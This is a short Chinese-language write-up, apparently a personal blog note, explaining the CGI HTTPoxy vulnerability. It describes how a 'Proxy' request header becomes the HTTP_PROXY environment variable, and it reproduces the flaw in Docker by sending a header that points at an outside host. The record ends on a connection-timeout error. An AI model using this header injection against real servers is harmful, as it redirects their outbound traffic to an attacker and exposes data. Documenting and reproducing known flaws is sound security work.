CGI HTTPoxy
CGI是什么,简单来说CGI是Web服务器和运行其上的应用程序进行“交流”的一种约定,服务器和CGI程序之间通信,一般是通过进程的环境变量和管道,而httpoxy就是cgi中的一个环境变量。
思路
在CGI(RFC 3875)的模式的时候, 会把http头部, 加上HTTP_ 前缀, 注册为环境变量。 如果在Header中发送一个Proxy:xxxxxx,那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv(“HTTP_PROXY”)就变成可被控制的了。那所有用户类似的请求,都会被代理到攻击者想要的地址。
漏洞复现
docke部署环境,正常访问
加上Proxy: http://x.x.122.65:8888/ 头,再次访问
艹百度了一下Uncaught GuzzleHttp\Exception\ConnectException: Connection timed out in /www/wwwroot/hyperf